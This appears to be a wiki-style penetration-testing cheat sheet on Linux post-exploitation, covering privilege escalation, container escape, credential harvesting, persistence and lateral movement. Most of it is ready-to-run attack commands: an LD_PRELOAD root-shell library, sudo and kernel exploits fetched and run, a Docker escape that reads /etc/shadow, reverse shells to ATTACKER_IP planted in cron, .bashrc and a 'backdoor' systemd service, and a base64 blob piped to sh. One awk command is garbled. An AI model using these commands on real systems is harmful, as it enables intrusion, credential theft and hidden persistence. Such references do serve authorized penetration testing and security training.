Linux

Skill Level: Intermediate to Advanced Prerequisites: Linux administration, privilege model

Privilege Escalation

Automated Enumeration Tools

# LinPEAS - Most comprehensive
# https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# LinEnum
# https://github.com/rebootuser/LinEnum
./LinEnum.sh -t -k password -r LinEnum.txt

# Linux Smart Enumeration
# https://github.com/diego-treitos/linux-smart-enumeration
./lse.sh -l 2

# linux-exploit-suggester
# https://github.com/mzet-/linux-exploit-suggester
./linux-exploit-suggester.sh

# pspy - Monitor processes without root
# https://github.com/DominicBreuker/pspy
./pspy64 -pf -i 1000

Sudo Exploitation

# Check sudo permissions
sudo -l
sudo -l -l

# GTFOBins sudo exploits
# https://gtfobins.github.io/

# Sudo version exploit (CVE-2021-3156 - Baron Samedit)
# Affects sudo < 1.9.5p2
sudoedit -s '\' $(python3 -c 'print("A"*1000)')

# Sudo CVE-2019-14287 (sudo < 1.8.28)
# If you can run as !root
sudo -u#-1 /bin/bash

# LD_PRELOAD exploitation (if env_keep+=LD_PRELOAD in sudo -l)
# Create malicious .so:
cat > /tmp/shell.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
EOF
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so <allowed_command>

# Sudo token reuse (if sudo was used recently in another terminal)
# https://github.com/nongiach/sudo_inject
./exploit.sh

SUID/SGID Binaries

# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

# Find SUID owned by current user
find / -perm /u=s -user `whoami` 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null

# Check GTFOBins for SUID exploits
# https://gtfobins.github.io/#+suid

# Common SUID exploits
# Bash SUID
/bin/bash -p

# Python SUID
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# Find SUID
find . -exec /bin/sh -p \; -quit

# Vim SUID
vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

# Custom SUID binary analysis
ltrace ./binary 2>&1    # Look for insecure function calls
strace ./binary 2>&1    # System calls
strings ./binary        # Hardcoded paths/credentials

Capabilities

# List files with capabilities
getcap -r / 2>/dev/null

# Exploitable capabilities
# cap_setuid - Python example
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# cap_net_raw - Packet sniffing
tcpdump -i eth0 -w /tmp/capture.pcap

# cap_dac_read_search - Read any file
./binary /etc/shadow

# cap_net_bind_service - Bind to privileged ports
# Useful for service impersonation

# cap_sys_admin - Mount filesystems, abuse cgroups
# https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/

Cron Jobs

# Enumerate cron jobs
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron.d/*
cat /var/spool/cron/crontabs/*
systemctl list-timers --all

# Monitor for cron execution
# https://github.com/DominicBreuker/pspy
./pspy64

# Cron with wildcard injection
# If cron runs: tar czf /tmp/backup.tar.gz *
echo "" > "/path/--checkpoint=1"
echo "" > "/path/--checkpoint-action=exec=sh shell.sh"

# Writable cron script
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /path/to/cron/script.sh
# Wait for execution, then:
/tmp/bash -p

# PATH hijacking in cron
# If cron script doesn't use absolute paths
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /tmp/command_name
chmod +x /tmp/command_name
export PATH=/tmp:$PATH

Kernel Exploits

# Check kernel version
uname -a
cat /proc/version
cat /etc/*release

# Kernel exploit suggester
# https://github.com/mzet-/linux-exploit-suggester
./linux-exploit-suggester.sh

# https://github.com/jondonas/linux-exploit-suggester-2
perl linux-exploit-suggester-2.pl

# Common kernel exploits
# DirtyPipe (CVE-2022-0847) - Linux 5.8+
# https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits

# DirtyCow (CVE-2016-5195) - Linux 2.6.22 to 4.8.3
# https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

# PwnKit (CVE-2021-4034) - Polkit
# https://github.com/ly4k/PwnKit
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit && ./PwnKit

# Dirty Sock (CVE-2019-7304) - Snapd
# https://github.com/initstring/dirty_sock

NFS Exploitation

# Check for NFS shares
showmount -e <target_ip>
cat /etc/exports

# If no_root_squash is set
# Mount on attacker machine:
mkdir /tmp/nfs
mount -o rw,vers=2 <target_ip>:/share /tmp/nfs
# Create SUID binary:
cp /bin/bash /tmp/nfs/bash
chmod +s /tmp/nfs/bash
# On target:
/share/bash -p

Writable Files & Directories

# Writable /etc/passwd
# Add new root user
echo 'hacker:$(openssl passwd -1 password):0:0:root:/root:/bin/bash' >> /etc/passwd
# Or use pre-computed hash
echo 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0::/root:/bin/bash' >> /etc/passwd
su hacker

# Writable /etc/shadow
# Generate hash: mkpasswd -m sha-512 password
# Replace root hash

# Find world-writable files
find / -writable -type f 2>/dev/null
find / -perm -2 -type f 2>/dev/null

# Find writable directories
find / -writable -type d 2>/dev/null

# Find files owned by current user
find / -user $(whoami) 2>/dev/null

Docker Escape

# Check if in Docker
cat /proc/1/cgroup | grep docker
ls -la /.dockerenv

# If docker socket is mounted
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Privileged container escape
# https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
echo "$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Credential Harvesting

# Memory dumps
# https://github.com/huntergregal/mimipenguin
./mimipenguin.py

# Extract from process memory
strings /proc/*/environ 2>/dev/null | grep -i pass
strings /proc/*/cmdline 2>/dev/null | grep -i pass

# History files
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.mysql_history
cat ~/.psql_history

# Configuration files
find / -name "*.conf" -exec grep -l "pass\|password\|pwd" {} \; 2>/dev/null
find / -name "*.config" -exec grep -l "pass\|password\|pwd" {} \; 2>/dev/null
find / -name "*.xml" -exec grep -l "pass\|password\|pwd" {} \; 2>/dev/null
find / -name "*.ini" -exec grep -l "pass\|password\|pwd" {} \; 2>/dev/null
find / -name "*.env" 2>/dev/null

# SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "id_ecdsa" 2>/dev/null
find / -name "id_ed25519" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

# Web application configs
cat /var/www/html/wp-config.php 2>/dev/null
cat /var/www/html/config.php 2>/dev/null
cat /var/www/html/.env 2>/dev/null

# Database credentials
cat ~/.my.cnf
cat /etc/mysql/debian.cnf

# Shadow file cracking
unshadow /etc/passwd /etc/shadow > unshadowed.txt
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
hashcat -m 1800 -a 0 shadow.txt rockyou.txt  # SHA-512
hashcat -m 500 -a 0 shadow.txt rockyou.txt   # MD5

# Browser credentials
# Firefox
cat ~/.mozilla/firefox/*.default*/logins.json
# Chrome
cat ~/.config/google-chrome/Default/Login\ Data
# Decrypt with: https://github.com/unode/firefox_decrypt

# Gnome Keyring
# https://github.com/abuse-of-gnome-keyring

Persistence

# SSH authorized_keys
echo "attacker_public_key" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# Cron persistence
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'" | crontab -

# Bashrc/Profile
echo 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 &' >> ~/.bashrc
echo '/tmp/.hidden_shell &' >> ~/.profile

# Systemd service (requires root)
cat > /etc/systemd/system/backdoor.service << EOF
[Unit]
Description=Backdoor Service

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF
systemctl enable backdoor.service
systemctl start backdoor.service

# LD_PRELOAD persistence
# Add to /etc/ld.so.preload (requires root)
echo "/tmp/malicious.so" >> /etc/ld.so.preload

# SUID backdoor
cp /bin/bash /tmp/.bash
chmod u+s /tmp/.bash
# Access: /tmp/.bash -p

# PAM backdoor (requires root)
# https://github.com/zephrax/linux-pam-backdoor

Lateral Movement

# Using found SSH keys
ssh -i id_rsa user@target

# Password reuse
crackmapexec ssh targets.txt -u user -p 'password'
hydra -l user -p password ssh://target

# Kerberos from Linux
# https://github.com/fortra/impacket
# Get TGT
getTGT.py -dc-ip DC_IP DOMAIN/user:password

# Use ticket
export KRB5CCNAME=/path/to/ticket.ccache
psexec.py -k -no-pass DOMAIN/user@target

# Pass-the-Hash
pth-winexe -U DOMAIN/user%hash //target cmd.exe
crackmapexec smb target -u user -H hash

# NTLM relay
ntlmrelayx.py -tf targets.txt -smb2support

# Port forwarding for internal access
ssh -L 8080:internal_host:80 user@pivot
ssh -D 9050 user@pivot  # SOCKS proxy

Local Enum

**Tools** 
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
https://github.com/mbahadou/postenum/blob/master/postenum.sh
https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy32
https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64

https://gtfobins.github.io/

# Spawning shell
python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
perl -e 'exec "/bin/sh";'
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
(From within vi)
:!bash
:set shell=/bin/bash:shell
(From within nmap)
!sh

# Access to more binaries
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Download files from attacker
wget http://10.11.1.111:8080/ -r; mv 10.11.1.111:8080 exploits; cd exploits; rm index.html; chmod 700 LinEnum.sh linpeas.sh postenum.sh pspy32 pspy64

# Enum scripts
./LinEnum.sh -t -k password -r LinEnum.txt
./postenum.sh
./linpeas.sh
./pspy

# Common writable directories
/tmp
/var/tmp
/dev/shm

# Add user to sudoers
useradd hacker
passwd hacker
echo "hacker ALL=(ALL:ALL) ALL" >> /etc/sudoers

# sudo permissions
sudo -l -l

# Journalctl
If you can run as root, run in small window and !/bin/sh

# Crons
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
cat /etc/frontal
cat /etc/anacron
systemctl list-timers --all

# Common info
uname -a
env
id
cat /proc/version
cat /etc/issue
cat /etc/passwd
cat /etc/group
cat /etc/shadow
cat /etc/hosts

# Users with login
grep -vE "nologin" /etc/passwd

# Network info
cat /proc/net/arp
cat /proc/net/fib_trie
cat /proc/net/fib_trie | grep "|--"   | egrep -v "0.0.0.0| 127."
awk '/32 host/ { print f } {f=$2}' <<< "$(0; i-=2) {
        ret = ret"."hextodec(substr(str,i,2))
    }
    ret = ret":"hextodec(substr(str,index(str,":")+1,4))
    return ret
} 
NR > 1 {{if(NR==2)print "Local - Remote";local=getIP($2);remote=getIP($3)}{print local" - "remote}}' /proc/net/tcp

# Netstat without netstat 2
echo "YXdrICdmdW5jdGlvbiBoZXh0b2RlYyhzdHIscmV0LG4saSxrLGMpewogICAgcmV0ID0gMAogICAgbiA9IGxlbmd0aChzdHIpCiAgICBmb3IgKGkgPSAxOyBpIDw9IG47IGkrKykgewogICAgICAgIGMgPSB0b2xvd2VyKHN1YnN0cihzdHIsIGksIDEpKQogICAgICAgIGsgPSBpbmRleCgiMTIzNDU2Nzg5YWJjZGVmIiwgYykKICAgICAgICByZXQgPSByZXQgKiAxNiArIGsKICAgIH0KICAgIHJldHVybiByZXQKfQpmdW5jdGlvbiBnZXRJUChzdHIscmV0KXsKICAgIHJldD1oZXh0b2RlYyhzdWJzdHIoc3RyLGluZGV4KHN0ciwiOiIpLTIsMikpOyAKICAgIGZvciAoaT01OyBpPjA7IGktPTIpIHsKICAgICAgICByZXQgPSByZXQiLiJoZXh0b2RlYyhzdWJzdHIoc3RyLGksMikpCiAgICB9CiAgICByZXQgPSByZXQiOiJoZXh0b2RlYyhzdWJzdHIoc3RyLGluZGV4KHN0ciwiOiIpKzEsNCkpCiAgICByZXR1cm4gcmV0Cn0gCk5SID4gMSB7e2lmKE5SPT0yKXByaW50ICJMb2NhbCAtIFJlbW90ZSI7bG9jYWw9Z2V0SVAoJDIpO3JlbW90ZT1nZXRJUCgkMyl9e3ByaW50IGxvY2FsIiAtICJyZW1vdGV9fScgL3Byb2MvbmV0L3RjcCAKqtc" | base64 -d | sh

# Nmap without nmap
for ip in {1..5}; do for port in {21,22,5000,8000,3306}; do (echo >/dev/tcp/172.18.0.$ip/$port) >& /dev/null && echo "172.18.0.$ip port $port is open"; done; done

# Open ports without netstat
grep -v "rem_address" /proc/net/tcp | awk  '{x=strtonum("0x"substr($2,index($2,":")-2,2)); for (i=5; i>0; i-=2) x = x"."strtonum("0x"substr($2,i,2))}{print x":"strtonum("0x"substr($2,index($2,":")+1,4))}'

# Check ssh files:
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

# SUID
find / -perm -4000 -type f 2>/dev/null
# ALL PERMS
find / -perm -777 -type f 2>/dev/null
# SUID for current user
find / perm /u=s -user `whoami` 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
# Writables for current user/group
find / perm /u=w -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -f -user `whoami` 2>/dev/null
find / -perm /u+w -user `whoami` 2>/dev/nul
# Dirs with +w perms for current u/g
find / perm /u=w -type -d -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -d -user `whoami` 2>/dev/null

# Port Forwarding
# Chisel
# Victim server:
chisel server --auth "test:123" -p 443 --reverse
# In host attacker machine:
./chisel client --auth "test:123" 10.10.10.10:443 R:socks

# Dynamic Port Forwarding:
# Attacker machine:
ssh -D 9050 user@host
# Attacker machine Burp Proxy - SOCKS Proxy:
Mark “Override User Options”
Mark Use Socks Proxy:
SOCKS host:127.0.0.1
SOCKS port:9050

# Tunneling 
Target must have SSH running for there service
1. Create SSH Tunnel: ssh -D localhost: -f -N user@localhost -p 
2. Setup ProxyChains. Edit the following config file (/etc/proxychains.conf)
3. Add the following line into the config: Socks5 127.0.0.1 
4. Run commands through the tunnel: proxychains 

# SShuttle
# https://github.com/sshuttle/sshuttle
sshuttle -r [email protected] 10.2.2.0/24

# netsh port forwarding
netsh interface portproxy add v4tov4 listenaddress=127.0.0.1 listenport=9000 connectaddress=192.168.0.10 connectport=80
netsh interface portproxy delete v4tov4 listenaddress=127.0.0.1 listenport=9000

Escaping restricted shell

# First check your shell
echo $SHELL
# and commands
export

# vim
# List files
:!/bin/ls -l .b*
# Set new shell
:set shell=/bin/sh
:shell
# or
:!/bin/sh

# ed
!'/bin/sh'

# ne -> Load Prefs -> Navigate everywhere

# more/less/man/pinfo
!'sh'

# links -> File OS Shell
# lynx -> "o" for options -> configure default editor e.g. vim
lynx --editor=/usr/bin/vim www.google.com
# or
export EDITOR=/usr/bin/vim
# navigate to https://translate.google.com/ go to text box, ENTER and F4

# mutt
!

# find 
find / -name "root" -exec /bin/sh \;
find / -name "root" -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;

# nmap < 2009/05
--interactive
!sh

# awk
awk 'BEGIN {system("/bin/sh")}'

# expect
expect -c 'spawn sh' -i

# python
python -c 'import pty; pty.spawn("/bin/sh")'

# ruby irb
exec '/bin/sh'

# perl
perl -e 'system("sh -i");'
perl -e 'exec("sh -i");'

# php -a
exec("sh -i");

# Only Rbash
echo x | xargs -Iy sh -c 'exec sh 0<&1'

# Emacs
Mod-!
/bin/sh

# cp
cp /bin/sh /dev/shm/sh; /dev/shm/sh

# export
export SHELL=/bin/sh; export PATH=/bin:/usr/bin:$PATH

# FTP/Telnet
!/bin/sh

# GDB
!/bin/sh

# eval
eval echo echo {o..q}ython\;

# tee
echo '/bin/rm /home/user/.bashrc' | tee '/home/user/bin/win';win; echo 'export SHELL=/bin/sh' | tee '/home/user/.bashrc'

# declare
declare -n PATH; export PATH=/bin;bash -i
BASH_CMDS[shell]=/bin/bash;shell -i

# nano
nano -s /bin/sh
# Ctrl+T

# SSH
ssh user@host -t "bash --noprofile -i"
ssh user@host -t "() { :; }; sh -i "

Loot

# Linux
cat /etc/passwd
cat /etc/shadow
unshadow passwd shadow > unshadowed.txt
john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

ifconfig -a
arp -a

tcpdump -i any -s0 -w capture.pcap
tcpdump -i eth0 -w capture -n -U -s 0 src not 10.11.1.111 and dst not 10.11.1.111
tcpdump -vv -i eth0 src not 10.11.1.111 and dst not 10.11.1.111

.bash_history

/var/mail
/var/spool/mail

echo $DESKTOP_SESSION
echo $XDG_CURRENT_DESKTOP
echo $GDMSESSION

Windows Post-Exploitation - Windows privilege escalation
Kerberos Attacks - Kerberos ticket attacks
Pivoting - Network pivoting techniques
RT/EDR Evasion - Defense evasion

PreviousModern C2 Frameworks NextmacOS

Last updated 8 days ago

Was this helpful?

hashtagPrivilege Escalation

hashtagAutomated Enumeration Tools

hashtagSudo Exploitation

hashtagSUID/SGID Binaries

hashtagCapabilities

hashtagCron Jobs

hashtagKernel Exploits

hashtagNFS Exploitation

hashtagWritable Files & Directories

hashtagDocker Escape

hashtagCredential Harvesting

hashtagPersistence

hashtagLateral Movement

hashtagLocal Enum

hashtagEscaping restricted shell

hashtagLoot

hashtagRelated Topics

Privilege Escalation

Automated Enumeration Tools

Sudo Exploitation

SUID/SGID Binaries

Capabilities

Cron Jobs

Kernel Exploits

NFS Exploitation

Writable Files & Directories

Docker Escape

Credential Harvesting

Persistence

Lateral Movement

Local Enum

Escaping restricted shell

Loot

Related Topics